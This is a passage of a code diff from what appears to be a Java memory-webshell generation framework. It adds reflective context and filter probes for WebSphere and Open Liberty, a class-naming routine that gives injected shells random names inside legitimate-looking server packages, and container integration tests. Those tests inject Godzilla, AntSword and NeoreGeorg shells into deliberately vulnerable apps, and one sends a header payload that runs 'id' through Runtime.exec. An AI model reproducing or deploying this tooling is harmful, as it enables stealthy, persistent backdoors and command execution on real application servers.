Object filterConfig = invokeMethod(webAppConfig, "getFilterInfo", new Class[]{String.class}, new Object[]{filterName});
String filterClassName = (String) invokeMethod(filterConfig, "getFilterClassName", null, null);
Map<String, Object> info = new HashMap<>();
info.put("filterName", filterName);
info.put("filterClass", filterClassName);
info.put("urlPatterns", new LinkedHashSet<>());
info.put("servletNames", new LinkedHashSet<>());
aggregatedData.put(filterName, info);
}
return aggregatedData.get(filterName);
}
@SuppressWarnings("all")
private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
StringBuilder output = new StringBuilder();
for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
String context = entry.getKey();
List<Map<String, String>> filters = entry.getValue();
output.append("Context: ").append(context).append("\n");
if (filters.isEmpty()) {
output.append("No filters found\n");
} else if (filters.size() == 1 && filters.get(0).containsKey("error")) {
output.append(filters.get(0).get("error")).append("\n");
} else {
for (Map<String, String> info : filters) {
appendIfPresent(output, "", info.get("filterName"));
appendIfPresent(output, " -> ", info.get("filterClass"));
appendIfPresent(output, " -> URL:", info.get("urlPatterns"));
appendIfPresent(output, " -> Servlet:", info.get("servletNames"));
output.append("\n");
}
}
}
return output.toString();
}
private void appendIfPresent(StringBuilder sb, String prefix, String value) {
if (value != null && !value.isEmpty()) {
sb.append(prefix).append(value);
}
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
/**
* com.ibm.ws.webcontainer.webapp.WebAppImpl
* /opt/IBM/WebSphere/AppServer/plugins/com.ibm.ws.webcontainer.jar
*/
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Object[] threadLocals = null;
boolean raw = false;
try {
// WebSphere Liberty
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
} catch (NoSuchFieldException ignored) {
}
if (threadLocals == null) {
// Open Liberty
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
raw = true;
}
for (Object threadLocal : threadLocals) {
if (threadLocal == null) {
continue;
}
Object value = threadLocal;
if (raw) {
value = getFieldValue(threadLocal, "value");
}
if (value == null) {
continue;
}
// for websphere 7.x
if (value.getClass().getName().endsWith("FastStack")) {
Object[] stackList = (Object[]) getFieldValue(value, "stack");
for (Object stack : stackList) {
try {
Object config = getFieldValue(stack, "config");
contexts.add(getFieldValue(getFieldValue(config, "context"), "context"));
} catch (Exception ignored) {
}
}
} else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
}
}
return contexts;
}
public static Object invokeMethod(Object obj, String methodName) throws Exception {
return invokeMethod(obj, methodName, null, null);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -1,7 +1,5 @@
package com.reajason.javaweb.probe.payload.response;
import org.eclipse.jetty.util.Callback;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.io.PrintStream;
@@ -72,7 +70,8 @@ public class JettyWriter {
} catch (Exception x) {
invokeMethod(response, "setStatus", new Class[]{int.class}, new Object[]{200});
ByteBuffer content = UTF_8.encode(result);
invokeMethod(response, "write", new Class[]{boolean.class, ByteBuffer.class, Callback.class}, new Object[]{true, content, null});
Class<?> callBackClass = request.getClass().getClassLoader().loadClass("org.eclipse.jetty.util.Callback");
invokeMethod(response, "write", new Class[]{boolean.class, ByteBuffer.class, callBackClass}, new Object[]{true, content, null});
}
}
}
@@ -22,17 +22,35 @@ public class WebSphereWriter {
return;
}
try {
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
for (Object wsThreadLocal : wsThreadLocals) {
if (wsThreadLocal == null) {
Object[] threadLocals = null;
boolean raw = false;
try {
// WebSphere Liberty
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
} catch (NoSuchFieldException ignored) {
}
if (threadLocals == null) {
// Open Liberty
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
raw = true;
}
for (Object threadLocal : threadLocals) {
if (threadLocal == null) {
continue;
}
Object value = threadLocal;
if (raw) {
value = getFieldValue(threadLocal, "value");
}
if (value == null) {
continue;
}
// com.ibm.wsspi.webcontainer.WebContainerRequestState
if (wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {
if (value.getClass().getName().endsWith("WebContainerRequestState")) {
// com.ibm.ws.webcontainer.srt.SRTServletRequest
Object request = getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest");
Object request = getFieldValue(value, "currentThreadsIExtendedRequest");
// com.ibm.ws.webcontainer.srt.SRTServletResponse
Object response = getFieldValue(wsThreadLocal, "currentThreadsIExtendedResponse");
Object response = getFieldValue(value, "currentThreadsIExtendedResponse");
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
String result = "";
@@ -96,8 +96,9 @@ public class CommonUtil {
return className.substring(0, className.lastIndexOf("."));
}
public static String generateShellClassName() {
return getRandomPackageName() + ".ErrorHandler";
public static String generateClassName() {
String randomString = getRandomString(5);
return getRandomPackageName() + ".Error" + randomString.substring(0, 1).toUpperCase() + randomString.substring(1).toLowerCase() + "Handler";
}
public static String generateInjectorClassName() {
@@ -111,38 +112,35 @@ public class CommonUtil {
return className + "$Proxy0$$Lambda$1";
}
public static String generateShellClassName(String server, String shellType) {
String packageName;
public static String getWebPackageNameForServer(String server) {
switch (server) {
case Jetty:
packageName = "org.eclipse.jetty.servlet.handlers";
break;
return "org.eclipse.jetty.servlet.handlers";
case Undertow:
packageName = "io.undertow.servlet.handlers";
break;
return "io.undertow.servlet.handlers";
case SpringWebMvc:
packageName = "org.springframework.boot.mvc.handlers";
break;
return "org.springframework.boot.mvc.handlers";
case SpringWebFlux:
packageName = "org.springframework.boot.webflux.handlers";
break;
return "org.springframework.boot.webflux.handlers";
case WebSphere:
packageName = "com.ibm.ws.webcontainer.handlers";
break;
return "com.ibm.ws.webcontainer.handlers";
case WebLogic:
packageName = "weblogic.servlet.internal.handlers";
break;
return "weblogic.servlet.internal.handlers";
case Resin:
packageName = "com.caucho.server.dispatch.handlers";
break;
return "com.caucho.server.dispatch.handlers";
case BES:
packageName = "com.bes.enterprise.webtier.web.handlers";
break;
return "com.bes.enterprise.webtier.web.handlers";
case Apusic:
return "com.apusic.web.handlers";
case InforSuite:
return "com.cvicse.inforsuite.web.handlers";
default:
packageName = "org.apache.http.web.handlers";
break;
return "org.apache.http.web.handlers";
}
return packageName
}
public static String generateShellClassName(String server, String shellType) {
return getWebPackageNameForServer(server)
+ "." + getRandomString(5)
+ "." + MIDDLEWARE_NAMES[new Random().nextInt(MIDDLEWARE_NAMES.length)] + shellType;
}
@@ -30,8 +30,8 @@ class CustomShellGeneratorTest {
void testListener() {
byte[] bytes = new ByteBuddy()
.redefine(CommandListener.class)
.name(CommonUtil.generateShellClassName()).make().getBytes();
String className = CommonUtil.generateShellClassName();
.name(CommonUtil.generateClassName()).make().getBytes();
String className = CommonUtil.generateClassName();
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellType(ShellType.LISTENER)
@@ -52,8 +52,8 @@ class CustomShellGeneratorTest {
void testFilter() {
byte[] bytes = new ByteBuddy()
.subclass(Object.class)
.name(CommonUtil.generateShellClassName()).make().getBytes();
String className = CommonUtil.generateShellClassName();
.name(CommonUtil.generateClassName()).make().getBytes();
String className = CommonUtil.generateClassName();
ShellConfig shellConfig = ShellConfig.builder()
.shellType(ShellType.FILTER)
.build();
@@ -72,8 +72,8 @@ class CustomShellGeneratorTest {
void testValue() {
byte[] bytes = new ByteBuddy()
.redefine(GodzillaValve.class)
.name(CommonUtil.generateShellClassName()).make().getBytes();
String className = CommonUtil.generateShellClassName();
.name(CommonUtil.generateClassName()).make().getBytes();
String className = CommonUtil.generateClassName();
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.BES)
.shellType(ShellType.VALVE)
@@ -33,7 +33,7 @@ class GodzillaGeneratorTest {
.build();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
.shellClass(GodzillaServlet.class)
.shellClassName(CommonUtil.generateShellClassName())
.shellClassName(CommonUtil.generateClassName())
.pass("pass")
.key("key")
.headerName("User-Agent")
+1 -1
View File
@@ -24,7 +24,7 @@ hamcrest = "3.0"
junit-jupiter = "5.14.1"
junit-pioneer = "2.3.0"
junit-platform = "1.14.1"
testcontainers = "2.0.2"
testcontainers = "2.0.3"
[libraries]
byte-buddy = { module = "net.bytebuddy:byte-buddy", version.ref = "byte-buddy" }
@@ -0,0 +1,11 @@
services:
open-liberty-18:
image: open-liberty:18.0.0.4-webProfile8
platform: linux/amd64
ports:
- "9080:9080"
- "5005:5005"
environment:
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
volumes:
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/config/dropins/app.war
@@ -0,0 +1,11 @@
services:
open-liberty-20:
image: open-liberty:20.0.0.12-full-java8-openj9
platform: linux/amd64
ports:
- "9080:9080"
- "5005:5005"
environment:
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
volumes:
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/config/dropins/app.war
@@ -0,0 +1,11 @@
services:
open-liberty-22:
image: open-liberty:22.0.0.12-full-java11-openj9
platform: linux/amd64
ports:
- "9080:9080"
- "5005:5005"
environment:
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
volumes:
- ../../../vul/vul-webapp/build/libs/vul-webapp-jakarta.war:/config/dropins/app.war
@@ -0,0 +1,11 @@
services:
open-liberty-25:
image: open-liberty:25.0.0.12-full-java17-openj9
platform: linux/amd64
ports:
- "9080:9080"
- "5005:5005"
environment:
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
volumes:
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/config/dropins/app.war
@@ -0,0 +1,11 @@
services:
wildfly26:
image: quay.io/wildfly/wildfly:26.1.3.Final-jdk11
container_name: wildfly26
ports:
- 8080:8080
- 5005:5005
environment:
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
volumes:
- ../../../vul/vul-webapp-jakarta/build/libs/vul-webapp.war:/opt/jboss/wildfly/standalone/deployments/app.war
@@ -0,0 +1,11 @@
services:
wildfly27:
image: quay.io/wildfly/wildfly:27.0.1.Final-jdk11
container_name: wildfly27
ports:
- 8080:8080
- 5005:5005
environment:
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
volumes:
- ../../../vul/vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war:/opt/jboss/wildfly/standalone/deployments/app.war
+1 -1
View File
@@ -1,2 +1,2 @@
#!/bin/bash
pgrep -f WSLauncher | tr -d '\n'
pgrep -f 'WSLauncher|ws-server.jar' | tr -d '\n'
@@ -15,7 +15,7 @@ public class ContainerTool {
public static final MountableFile warJakartaFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-jakarta", "build", "libs", "vul-webapp-jakarta.war").toAbsolutePath());
public static final MountableFile warExpressionFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-expression", "build", "libs", "vul-webapp-expression.war").toAbsolutePath());
public static final MountableFile warDeserializeFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-deserialize", "build", "libs", "vul-webapp-deserialize.war").toAbsolutePath());
public static final MountableFile warFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp", "build", "libs", "vul-webapp.war").toAbsolutePath());
public static final MountableFile warFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp", "build", "libs", "vul-webapp.war").toAbsolutePath(), 0666);
public static final MountableFile struct2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-struct2", "build", "libs", "vul-struct2.war").toAbsolutePath());
public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2", "build", "libs", "vul-springboot2.war").toAbsolutePath());
public static final Path neoGeorgDockerfile = Path.of("..", "asserts", "neoreg", "Dockerfile").toAbsolutePath();
@@ -43,28 +43,32 @@ public class ContainerTool {
public static String getUrl(GenericContainer<?> container) {
int port = container.getMappedPort(8080);
String url = "http://127.0.0.1:" + port + "/app";
String host = container.getHost();
String url = "http://" + host + ":" + port + "/app";
log.info("container started, app url is : {}", url);
return url;
}
public static String getUrlFromSpringBoot(GenericContainer<?> container) {
int port = container.getMappedPort(8080);
String url = "http://127.0.0.1:" + port;
String host = container.getHost();
String url = "http://" + host + ":" + port;
log.info("container started, app url is : {}", url);
return url;
}
public static String getUrlFromWebLogic(GenericContainer<?> container) {
int port = container.getMappedPort(7001);
String url = "http://127.0.0.1:" + port + "/app";
String host = container.getHost();
String url = "http://" + host + ":" + port + "/app";
log.info("container started, app url is : {}", url);
return url;
}
public static String getUrlFromWAS(GenericContainer<?> container) {
int port = container.getMappedPort(9080);
String url = "http://127.0.0.1:" + port + "/app";
String host = container.getHost();
String url = "http://" + host + ":" + port + "/app";
log.info("container started, app url is : {}", url);
return url;
}
@@ -11,6 +11,9 @@ import com.reajason.javaweb.probe.config.ResponseBodyConfig;
import lombok.SneakyThrows;
import okhttp3.*;
import java.util.ArrayList;
import java.util.List;
import static org.hamcrest.CoreMatchers.anyOf;
import static org.hamcrest.CoreMatchers.containsString;
import static org.hamcrest.MatcherAssert.assertThat;
@@ -44,6 +47,7 @@ public class ProbeAssertion {
.build();
Request request = new Request.Builder()
.header("Content-Type", "application/x-www-form-urlencoded")
.header("Referer", url)
.url(url + "/biginteger").post(requestBody)
.build();
try (Response response = new OkHttpClient().newCall(request).execute()) {
@@ -73,6 +77,7 @@ public class ProbeAssertion {
.build();
Request request = new Request.Builder()
.header("Content-Type", "application/x-www-form-urlencoded")
.header("Referer", url)
.url(url + "/biginteger").post(requestBody)
.build();
try (Response response = new OkHttpClient().newCall(request).execute()) {
@@ -102,6 +107,7 @@ public class ProbeAssertion {
Request request = new Request.Builder()
.header("Content-Type", "application/x-www-form-urlencoded")
.header(headerName, "id")
.header("Referer", url)
.url(url + "/biginteger").post(requestBody)
.build();
try (Response response = new OkHttpClient().newCall(request).execute()) {
@@ -132,6 +138,7 @@ public class ProbeAssertion {
.build();
Request request = new Request.Builder()
.header("Content-Type", "application/x-www-form-urlencoded")
.header("Referer", url)
.header(headerName, "new java.util.Scanner(java.lang.Runtime.getRuntime().exec('id').getInputStream()).useDelimiter('\\A').next()")
.url(url + "/biginteger").post(requestBody)
.build();
@@ -141,4 +148,41 @@ public class ProbeAssertion {
));
}
}
public static List<String> getFiltersForContext(String probeData, String contextPath) {
List<String> filters = new ArrayList<>();
String[] lines = probeData.split("\n");
boolean inTargetContext = false;
for (String line : lines) {
line = line.trim();
if (line.startsWith("Context:")) {
inTargetContext = line.contains("(" + contextPath + ")");
} else if (inTargetContext) {
if (line.isEmpty() || line.startsWith("Context:")) {
break;
}
if (line.equals("No filters found")) {
break;
}
if (line.contains(" -> ")) {
filters.add(line);
}
}
}
return filters;
}
public static String extractFilterName(String filterLine) {
if (filterLine == null || filterLine.isEmpty()) {
return "";
}
int arrowIndex = filterLine.indexOf(" ->");
if (arrowIndex > 0) {
return filterLine.substring(0, arrowIndex).trim();
}
return filterLine.trim();
}
}
@@ -40,8 +40,7 @@ import java.util.Random;
import static com.reajason.javaweb.memshell.ShellTool.*;
import static com.reajason.javaweb.utils.CommonUtil.INJECTOR_CLASS_NAMES;
import static com.reajason.javaweb.utils.CommonUtil.getRandomString;
import static org.hamcrest.CoreMatchers.anyOf;
import static org.hamcrest.CoreMatchers.containsString;
import static org.hamcrest.CoreMatchers.*;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.api.Assertions.assertDoesNotThrow;
import static org.junit.jupiter.api.Assertions.assertTrue;
@@ -53,13 +52,13 @@ import static org.junit.jupiter.api.Assertions.assertTrue;
@Slf4j
public class ShellAssertion {
public static void shellInjectIsOk(String url, String server, String shellType, String shellTool, int targetJdkVersion, Packers packer) {
shellInjectIsOk(url, server, shellType, shellTool, targetJdkVersion, packer, null);
public static MemShellResult shellInjectIsOk(String url, String server, String shellType, String shellTool, int targetJdkVersion, Packers packer) {
return shellInjectIsOk(url, server, shellType, shellTool, targetJdkVersion, packer, null);
}
@SneakyThrows
public static void shellInjectIsOk(String url, String server, String shellType, String shellTool, int targetJdkVersion, Packers packer, GenericContainer<?> container) {
shellInjectIsOk(url, server, shellType, shellTool, targetJdkVersion, packer, container, null);
public static MemShellResult shellInjectIsOk(String url, String server, String shellType, String shellTool, int targetJdkVersion, Packers packer, GenericContainer<?> container) {
return shellInjectIsOk(url, server, shellType, shellTool, targetJdkVersion, packer, container, null);
}
@SneakyThrows
@@ -85,12 +84,12 @@ public class ShellAssertion {
}
@SneakyThrows
public static void shellInjectIsOk(String url, String server, String shellType, String shellTool, int targetJdkVersion, Packers packer, GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) {
shellInjectIsOk(url, server, null, shellType, shellTool, targetJdkVersion, packer, appContainer, pythonContainer);
public static MemShellResult shellInjectIsOk(String url, String server, String shellType, String shellTool, int targetJdkVersion, Packers packer, GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) {
return shellInjectIsOk(url, server, null, shellType, shellTool, targetJdkVersion, packer, appContainer, pythonContainer);
}
@SneakyThrows
public static void shellInjectIsOk(String url, String server, String serverVersion, String shellType, String shellTool,
public static MemShellResult shellInjectIsOk(String url, String server, String serverVersion, String shellType, String shellTool,
int targetJdkVersion, Packers packer,
GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) {
Pair<String, String> urls = getUrls(url, shellType, shellTool, packer);
@@ -104,6 +103,8 @@ public class ShellAssertion {
packerResultAndInject(generateResult, url, shellTool, shellType, packer, appContainer);
assertShellIsOk(generateResult, shellUrl, shellTool, shellType, appContainer, pythonContainer);
return generateResult;
}
@SneakyThrows
@@ -492,4 +493,11 @@ public class ShellAssertion {
public static void testProbeInject(String url, String server, String shellType, int targetJdkVersion) {
testProbeInject(url, server, null, shellType, targetJdkVersion);
}
public static void assertFilterProbeIsRight(String filterInfos) {
assertThat(filterInfos, allOf(
containsString("urlMappingTestFilter -> UrlMappingTestFilter -> URL:[/b64, /test]"),
containsString("servletNameTestFilter -> ServletNameTestFilter -> Servlet:[b64, biginteger]")
));
}
}
@@ -57,7 +57,7 @@ public class SpringBoot1ContainerTest {
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET
);
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
List<Packers> testPackers = List.of(Packers.SpEL);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@@ -94,7 +94,7 @@ public class SpringBoot2ContainerTest {
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
);
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64, Packers.H2JS);
List<Packers> testPackers = List.of(Packers.H2JS);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@@ -87,16 +87,18 @@ public class SpringBoot2JettyContainerTest {
List<String> supportedShellTypes = List.of(
ShellType.SERVLET,
ShellType.FILTER,
ShellType.HANDLER,
ShellType.CUSTOMIZER,
// ShellType.LISTENER,
ShellType.JETTY_AGENT_HANDLER
);
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
List<Packers> testPackers = List.of(Packers.SpEL);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("jettyCasesProvider")
void testJetty(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_8, packer, container, python);
shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V1_8, packer, container, python);
}
}
@@ -90,7 +90,7 @@ public class SpringBoot2UndertowContainerTest {
// ShellType.LISTENER,
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER
);
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL);
List<Packers> testPackers = List.of(Packers.SpEL);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@@ -81,7 +81,7 @@ public class SpringBoot2WarContainerTest {
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
);
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
List<Packers> testPackers = List.of(Packers.SpEL);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@@ -58,7 +58,7 @@ public class SpringBoot3ContainerTest {
ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER,
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET
);
List<Packers> testPackers = List.of(Packers.Base64, Packers.H2);
List<Packers> testPackers = List.of(Packers.H2);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
}
@@ -0,0 +1,97 @@
package com.reajason.javaweb.integration.memshell.websphere;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.BindMode;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.time.Duration;
import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.MatcherAssert.assertThat;
/**
* @author ReaJason
* @since 2024/12/21
*/
@Testcontainers
@Slf4j
public class OpenLiberty18ContainerTest {
public static final String imageName = "open-liberty:18.0.0.4-webProfile8";
static Network network = Network.newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/config/dropins/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(webspherePid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
.withExposedPorts(9080)
.withPrivilegedMode(true);
static Stream<Arguments> casesProvider() {
String server = Server.WebSphere;
List<String> supportedShellTypes = List.of(
ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.WAS_AGENT_FILTER_MANAGER
);
List<Packers> testPackers = List.of(Packers.JSP);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
public static String getUrl(GenericContainer<?> container) {
String host = container.getHost();
int port = container.getMappedPort(9080);
String url = "http://" + host + ":" + port + "/app";
log.info("container started, app url is : {}", url);
return url;
}
@ParameterizedTest
@ValueSource(strings = {ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.WebSphere, shellType, Opcodes.V1_6);
}
}
@@ -0,0 +1,97 @@
package com.reajason.javaweb.integration.memshell.websphere;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.BindMode;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.time.Duration;
import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.MatcherAssert.assertThat;
/**
* @author ReaJason
* @since 2024/12/21
*/
@Testcontainers
@Slf4j
public class OpenLiberty20ContainerTest {
public static final String imageName = "open-liberty:20.0.0.12-full-java8-openj9";
static Network network = Network.newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/config/dropins/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(webspherePid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
.withExposedPorts(9080)
.withPrivilegedMode(true);
static Stream<Arguments> casesProvider() {
String server = Server.WebSphere;
List<String> supportedShellTypes = List.of(
ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.WAS_AGENT_FILTER_MANAGER
);
List<Packers> testPackers = List.of(Packers.JSP);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
public static String getUrl(GenericContainer<?> container) {
String host = container.getHost();
int port = container.getMappedPort(9080);
String url = "http://" + host + ":" + port + "/app";
log.info("container started, app url is : {}", url);
return url;
}
@ParameterizedTest
@ValueSource(strings = {ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.WebSphere, shellType, Opcodes.V1_6);
}
}
@@ -0,0 +1,97 @@
package com.reajason.javaweb.integration.memshell.websphere;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
